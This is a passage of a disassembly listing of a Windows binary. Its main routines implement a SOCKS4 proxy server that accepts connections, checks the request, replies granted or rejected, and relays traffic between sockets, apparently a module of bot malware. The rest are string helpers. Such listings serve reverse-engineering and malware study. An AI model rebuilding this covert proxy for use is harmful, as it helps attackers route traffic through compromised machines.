					; sub_407148+1C2j
		leave
		retn
sub_407148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40732D	proc near		; DATA XREF: sub_40764D+145o

var_16F0	= dword	ptr -16F0h
var_16EC	= dword	ptr -16ECh
var_16E8	= dword	ptr -16E8h
var_16E4	= dword	ptr -16E4h
var_16E0	= byte ptr -16E0h
var_6E0		= byte ptr -6E0h
var_5E0		= dword	ptr -5E0h
var_5DC		= byte ptr -5DCh
var_5D4		= dword	ptr -5D4h
var_5D0		= byte ptr -5D0h
var_5CF		= byte ptr -5CFh
var_5CE		= dword	ptr -5CEh
var_5C8		= byte ptr -5C8h
var_1C8		= dword	ptr -1C8h
var_1BE		= byte ptr -1BEh
var_1AE		= byte ptr -1AEh
var_1B		= byte ptr -1Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 16F0h
		call	sub_416BC0
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		mov	eax, [ebp+var_1C8]
		mov	[ebp+var_5D4], eax
		push	0
		push	408h
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248	; recv
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40738F
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_407396

loc_40738F:				; CODE XREF: sub_40732D+5Aj
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------

loc_407396:				; CODE XREF: sub_40732D+60j
		movzx	eax, [ebp+var_5D0]
		cmp	eax, 4
		jnz	short loc_4073BA
		movzx	eax, [ebp+var_5CF]
		cmp	eax, 1
		jnz	short loc_4073BA
		mov	[ebp+var_16EC],	1
		jmp	short loc_4073C1
; ---------------------------------------------------------------------------

loc_4073BA:				; CODE XREF: sub_40732D+73j
					; sub_40732D+7Fj
		and	[ebp+var_16EC],	0

loc_4073C1:				; CODE XREF: sub_40732D+8Bj
		mov	eax, [ebp+var_16EC]
		mov	[ebp+var_4], eax
		movsx	eax, [ebp+var_1BE]
		test	eax, eax
		jz	short loc_4073F5
		push	10h
		lea	eax, [ebp+var_1BE]
		push	eax
		lea	eax, [ebp+var_5C8]
		push	eax
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4073F5
		and	[ebp+var_4], 0

loc_4073F5:				; CODE XREF: sub_40732D+A6j
					; sub_40732D+C2j
		movsx	eax, [ebp+var_1B]
		test	eax, eax
		jz	short loc_407456
		lea	eax, [ebp+var_6E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4044F7
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jz	short loc_407423
		mov	[ebp+var_16F0],	offset byte_41DE30
		jmp	short loc_40742D
; ---------------------------------------------------------------------------

loc_407423:				; CODE XREF: sub_40732D+E8j
		mov	[ebp+var_16F0],	offset dword_418EEC

loc_40742D:				; CODE XREF: sub_40732D+F4j
		push	[ebp+var_16F0]
		movzx	eax, [ebp+var_5D0]
		push	eax
		lea	eax, [ebp+var_6E0]
		push	eax
		push	offset dword_418EB8
		lea	eax, [ebp+var_1AE]
		push	eax
		call	sub_40D53F
		add	esp, 14h

loc_407456:				; CODE XREF: sub_40732D+CEj
		cmp	[ebp+var_4], 0
		jnz	short loc_4074A0
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------

loc_4074A0:				; CODE XREF: sub_40732D+12Dj
		push	0Ah
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE]
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	2710h
		push	0
		lea	eax, [ebp+var_5DC]
		push	eax
		push	[ebp+var_5CE+2]
		call	dword_41721C	; inet_ntoa
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_5E0], eax
		push	8
		push	0
		lea	eax, [ebp+var_5D0]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		cmp	[ebp+var_5E0], 0
		jnz	short loc_407537
		mov	[ebp+var_5CF], 5Bh
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		xor	eax, eax
		jmp	locret_407649
; ---------------------------------------------------------------------------

loc_407537:				; CODE XREF: sub_40732D+1D7j
		mov	[ebp+var_5CF], 5Ah
		push	8
		lea	eax, [ebp+var_5D0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch

loc_407555:				; CODE XREF: sub_40732D+2FDj
		push	[ebp+var_5D4]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_4075BD
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	dword_417248	; recv
		mov	[ebp+var_16E4],	eax
		cmp	[ebp+var_16E4],	0
		jz	short loc_407597
		cmp	[ebp+var_16E4],	0FFFFFFFFh
		jnz	short loc_40759C

loc_407597:				; CODE XREF: sub_40732D+25Fj
		jmp	loc_40762F
; ---------------------------------------------------------------------------

loc_40759C:				; CODE XREF: sub_40732D+268j
		push	[ebp+var_16E4]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4075BD
		jmp	short loc_40762F
; ---------------------------------------------------------------------------

loc_4075BD:				; CODE XREF: sub_40732D+236j
					; sub_40732D+28Cj
		push	[ebp+var_5E0]
		call	sub_40447B
		pop	ecx
		test	eax, eax
		jz	short loc_407622
		push	0
		push	1000h
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5E0]
		call	dword_417248	; recv
		mov	[ebp+var_16E8],	eax
		cmp	[ebp+var_16E8],	0
		jz	short loc_4075FF
		cmp	[ebp+var_16E8],	0FFFFFFFFh
		jnz	short loc_407601

loc_4075FF:				; CODE XREF: sub_40732D+2C7j
		jmp	short loc_40762F
; ---------------------------------------------------------------------------

loc_407601:				; CODE XREF: sub_40732D+2D0j
		push	[ebp+var_16E8]
		lea	eax, [ebp+var_16E0]
		push	eax
		push	[ebp+var_5D4]
		call	sub_4053BF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407622
		jmp	short loc_40762F
; ---------------------------------------------------------------------------

loc_407622:				; CODE XREF: sub_40732D+29Ej
					; sub_40732D+2F1j
		push	32h
		call	dword_41709C	; Sleep
		jmp	loc_407555
; ---------------------------------------------------------------------------

loc_40762F:				; CODE XREF: sub_40732D:loc_407597j
					; sub_40732D+28Ej ...
		push	[ebp+var_5D4]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_5E0]
		call	sub_40538D
		pop	ecx
		xor	eax, eax

locret_407649:				; CODE XREF: sub_40732D+64j
					; sub_40732D+16Ej ...
		leave
		retn	4
sub_40732D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40764D	proc near		; DATA XREF: sub_4077DD+B4o

var_1CC		= dword	ptr -1CCh
var_1C8		= dword	ptr -1C8h
var_1C4		= dword	ptr -1C4h
var_1C0		= dword	ptr -1C0h
var_1BC		= byte ptr -1BCh
var_1B6		= byte ptr -1B6h
var_1A6		= byte ptr -1A6h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		push	1BDh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	1
		lea	eax, [ebp+var_1BC]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C4], eax
		cmp	[ebp+var_1C4], 0
		jnz	short loc_4076A8
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_4077D9
; ---------------------------------------------------------------------------

loc_4076A8:				; CODE XREF: sub_40764D+46j
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1C0]
		push	dword ptr [eax]
		push	offset dword_418EF8
		lea	eax, [ebp+var_1A6]
		push	eax
		call	sub_40D53F
		add	esp, 10h

loc_4076CB:				; CODE XREF: sub_40764D+B9j
					; sub_40764D+E1j ...
		push	3E8h
		push	[ebp+var_1C4]
		call	sub_4048EF
		pop	ecx
		pop	ecx
		mov	[ebp+var_1C8], eax
		mov	eax, [ebp+var_1C0]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_4076F8
		cmp	[ebp+var_1C8], 0
		jnz	short loc_4076FD

loc_4076F8:				; CODE XREF: sub_40764D+A0j
		jmp	loc_4077BF
; ---------------------------------------------------------------------------

loc_4076FD:				; CODE XREF: sub_40764D+A9j
		cmp	[ebp+var_1C8], 0FFFFFFFFh
		jnz	short loc_407708
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------

loc_407708:				; CODE XREF: sub_40764D+B7j
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1CC], eax
		cmp	[ebp+var_1CC], 0
		jnz	short loc_407730
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_4076CB
; ---------------------------------------------------------------------------

loc_407730:				; CODE XREF: sub_40764D+D3j
		mov	eax, [ebp+var_1CC]
		mov	ecx, [ebp+var_1C8]
		mov	[eax], ecx
		lea	eax, [ebp+var_1BC]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1B6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 0Ah
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	1A3h
		lea	eax, [ebp+var_1A6]
		push	eax
		mov	eax, [ebp+var_1CC]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_1CC]
		push	offset sub_40732D
		call	sub_409479
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4077BA
		push	[ebp+var_1CC]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_1C8]
		call	sub_4053B1
		pop	ecx

loc_4077BA:				; CODE XREF: sub_40764D+153j
		jmp	loc_4076CB
; ---------------------------------------------------------------------------

loc_4077BF:				; CODE XREF: sub_40764D:loc_4076F8j
		push	[ebp+var_1C4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_1C0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_4077D9:				; CODE XREF: sub_40764D+56j
		leave
		retn	4
sub_40764D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077DD	proc near		; CODE XREF: sub_40A9CF+17Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_4], 0
		jnz	short loc_40780F
		push	0Ah
		lea	eax, [ebp+var_8]
		push	eax
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_4], eax

loc_40780F:				; CODE XREF: sub_4077DD+Aj
		push	1BDh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_407825
		jmp	short locret_40789E
; ---------------------------------------------------------------------------

loc_407825:				; CODE XREF: sub_4077DD+44j
		push	[ebp+arg_4]
		mov	eax, [ebp+var_C]
		add	eax, 4
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_407844
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_10], eax
		jmp	short loc_40784B
; ---------------------------------------------------------------------------

loc_407844:				; CODE XREF: sub_4077DD+5Dj
		mov	[ebp+var_10], offset byte_41DE30

loc_40784B:				; CODE XREF: sub_4077DD+65j
		push	10h
		push	[ebp+var_10]
		mov	eax, [ebp+var_C]
		add	eax, 0Ah
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_C]
		add	eax, 1Ah
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	offset dword_418F2C
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		neg	eax
		sbb	eax, eax
		inc	eax
		push	eax
		push	[ebp+var_C]
		push	offset sub_40764D
		call	sub_4095A4
		add	esp, 14h

locret_40789E:				; CODE XREF: sub_4077DD+46j
		leave
		retn
sub_4077DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078A0	proc near		; CODE XREF: sub_40A9CF+216p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4078B8
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------

loc_4078B8:				; CODE XREF: sub_4078A0+14j
					; sub_4078A0:loc_4078E2j
		cmp	[ebp+var_4], 0
		jnz	short loc_4078C0
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------

loc_4078C0:				; CODE XREF: sub_4078A0+1Cj
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_4078E0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		jmp	short loc_4078E2
; ---------------------------------------------------------------------------

loc_4078E0:				; CODE XREF: sub_4078A0+33j
		jmp	short locret_4078E4
; ---------------------------------------------------------------------------

loc_4078E2:				; CODE XREF: sub_4078A0+3Ej
		jmp	short loc_4078B8
; ---------------------------------------------------------------------------

locret_4078E4:				; CODE XREF: sub_4078A0+16j
					; sub_4078A0+1Ej ...
		leave
		retn
sub_4078A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4078E6	proc near		; CODE XREF: sub_407D42+Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4078FC
; ---------------------------------------------------------------------------

loc_4078F5:				; CODE XREF: sub_4078E6:loc_407921j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_4078FC:				; CODE XREF: sub_4078E6+Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407923
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		movsx	ecx, [ebp+arg_4]
		cmp	eax, ecx
		jnz	short loc_407921
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_407921:				; CODE XREF: sub_4078E6+32j
		jmp	short loc_4078F5
; ---------------------------------------------------------------------------

loc_407923:				; CODE XREF: sub_4078E6+21j
		mov	eax, [ebp+var_8]
		leave
		retn
sub_4078E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407928	proc near		; CODE XREF: sub_40E618+2Bp
					; sub_40E618+185p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_10], 0
		jnz	short loc_407963
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_8]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		shl	eax, 2
		push	eax
		push	0
		push	[ebp+arg_C]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		xor	eax, eax
		jmp	locret_407A54
; ---------------------------------------------------------------------------

loc_407963:				; CODE XREF: sub_407928+Aj
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	[ebp+arg_0]
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+arg_4]
		mov	[eax], ecx
		mov	[ebp+var_8], 1
		jmp	short loc_4079A1
; ---------------------------------------------------------------------------

loc_40799A:				; CODE XREF: sub_407928:loc_407A4Cj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_4079A1:				; CODE XREF: sub_407928+70j
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_10]
		jge	loc_407A51
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4-4], 0
		jz	short loc_407A0A
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_418F4C
		push	0
		call	sub_40813C
		add	esp, 0Ch
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_8]
		mov	[edx+ecx*4], eax
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+eax*4], 0
		jz	short loc_4079F8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+eax*4]
		sub	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	short loc_4079FC
; ---------------------------------------------------------------------------

loc_4079F8:				; CODE XREF: sub_407928+B8j
		and	[ebp+var_C], 0

loc_4079FC:				; CODE XREF: sub_407928+CEj
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		mov	edx, [ebp+var_C]
		mov	[ecx+eax*4], edx
		jmp	short loc_407A4C
; ---------------------------------------------------------------------------

loc_407A0A:				; CODE XREF: sub_407928+90j
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_8]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		sub	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		push	0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_C]
		lea	eax, [ecx+eax*4]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		dec	eax
		jmp	short locret_407A54
; ---------------------------------------------------------------------------

loc_407A4C:				; CODE XREF: sub_407928+E0j
		jmp	loc_40799A
; ---------------------------------------------------------------------------

loc_407A51:				; CODE XREF: sub_407928+7Fj
		mov	eax, [ebp+arg_10]

locret_407A54:				; CODE XREF: sub_407928+36j
					; sub_407928+122j
		leave
		retn
sub_407928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A56	proc near		; CODE XREF: sub_401146+6Bp
					; sub_401146+CAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_407A81
		cmp	ecx, 1
		jz	short loc_407A7E

loc_407A6E:				; CODE XREF: sub_407A56+26j
		mov	al, [esi]
		mov	[edi], al
		test	al, al
		jz	short loc_407A81
		inc	esi
		inc	edi
		dec	ecx
		cmp	ecx, 1
		jnz	short loc_407A6E

loc_407A7E:				; CODE XREF: sub_407A56+16j
		mov	byte ptr [edi],	0

loc_407A81:				; CODE XREF: sub_407A56+11j
					; sub_407A56+1Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_407A56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A86	proc near		; CODE XREF: sub_4097A7+17p
					; sub_4098F3+17p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407A97
; ---------------------------------------------------------------------------

loc_407A90:				; CODE XREF: sub_407A86+3Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_407A97:				; CODE XREF: sub_407A86+8j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407AC6
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jl	short loc_407AC2
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 39h
		jg	short loc_407AC2
		jmp	short loc_407A90
; ---------------------------------------------------------------------------

loc_407AC2:				; CODE XREF: sub_407A86+2Aj
					; sub_407A86+38j
		xor	al, al
		jmp	short locret_407AC8
; ---------------------------------------------------------------------------

loc_407AC6:				; CODE XREF: sub_407A86+1Cj
		mov	al, 1

locret_407AC8:				; CODE XREF: sub_407A86+3Ej
		leave
		retn
sub_407A86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407ACA	proc near		; CODE XREF: sub_401000+F6p
					; sub_4148CE+61p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	[ebp+arg_8]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_4], eax
		and	[ebp+var_8], 0
		and	[ebp+var_C], 0
		jmp	short loc_407AED
; ---------------------------------------------------------------------------

loc_407AE6:				; CODE XREF: sub_407ACA:loc_407B58j
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax

loc_407AED:				; CODE XREF: sub_407ACA+1Aj
		mov	eax, [ebp+arg_4]
		sub	eax, [ebp+var_4]
		cmp	[ebp+var_C], eax
		jg	short loc_407B5A
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		add	ecx, 20h
		cmp	eax, ecx
		jz	short loc_407B37
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_8]
		movsx	ecx, byte ptr [ecx]
		sub	ecx, 20h
		cmp	eax, ecx
		jnz	short loc_407B58

loc_407B37:				; CODE XREF: sub_407ACA+3Fj
					; sub_407ACA+55j
		push	[ebp+var_4]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		push	eax
		call	sub_416F80	; _strnicmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407B58
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_C]
		jmp	short locret_407B5C
; ---------------------------------------------------------------------------

loc_407B58:				; CODE XREF: sub_407ACA+6Bj
					; sub_407ACA+84j
		jmp	short loc_407AE6
; ---------------------------------------------------------------------------

loc_407B5A:				; CODE XREF: sub_407ACA+2Cj
		xor	eax, eax

locret_407B5C:				; CODE XREF: sub_407ACA+8Cj
		leave
		retn
sub_407ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B5E	proc near		; CODE XREF: sub_40A2D2+11Dp
					; sub_40E943+20p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407B70
; ---------------------------------------------------------------------------

loc_407B69:				; CODE XREF: sub_407B5E:loc_407BEEj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_407B70:				; CODE XREF: sub_407B5E+9j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407B85
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------

loc_407B85:				; CODE XREF: sub_407B5E+1Dj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_407BA1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jnz	short loc_407BEE

loc_407BA1:				; CODE XREF: sub_407B5E+33j
		and	[ebp+var_8], 0
		jmp	short loc_407BAE
; ---------------------------------------------------------------------------

loc_407BA7:				; CODE XREF: sub_407B5E:loc_407BECj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_407BAE:				; CODE XREF: sub_407B5E+47j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Dh
		jz	short loc_407BD2
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		movsx	eax, byte ptr [ecx+eax]
		cmp	eax, 0Ah
		jnz	short loc_407BE1

loc_407BD2:				; CODE XREF: sub_407B5E+60j
		mov	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		and	byte ptr [ecx+eax], 0
		jmp	short loc_407BEC
; ---------------------------------------------------------------------------

loc_407BE1:				; CODE XREF: sub_407B5E+72j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		add	eax, [ebp+var_8]
		jmp	short locret_407BF3
; ---------------------------------------------------------------------------

loc_407BEC:				; CODE XREF: sub_407B5E+81j
		jmp	short loc_407BA7
; ---------------------------------------------------------------------------

loc_407BEE:				; CODE XREF: sub_407B5E+41j
		jmp	loc_407B69
; ---------------------------------------------------------------------------

locret_407BF3:				; CODE XREF: sub_407B5E+25j
					; sub_407B5E+8Cj
		leave
		retn
sub_407B5E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BF5	proc near		; CODE XREF: sub_411A09+5Dp
					; sub_411A09+F3p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp

loc_407BF8:				; CODE XREF: sub_407BF5:loc_407C28j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+arg_0]
		inc	ecx
		mov	[ebp+arg_0], ecx
		test	eax, eax
		jz	short loc_407C2A
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407C15
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------

loc_407C15:				; CODE XREF: sub_407BF5+1Cj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C28
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax],	0
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------

loc_407C28:				; CODE XREF: sub_407BF5+29j
		jmp	short loc_407BF8
; ---------------------------------------------------------------------------

loc_407C2A:				; CODE XREF: sub_407BF5+12j
					; sub_407BF5+1Ej ...
		pop	ebp
		retn
sub_407BF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407C2C	proc near		; CODE XREF: sub_4083AD+2F2p
					; sub_40CA29+91p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], eax
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		jmp	short loc_407C49
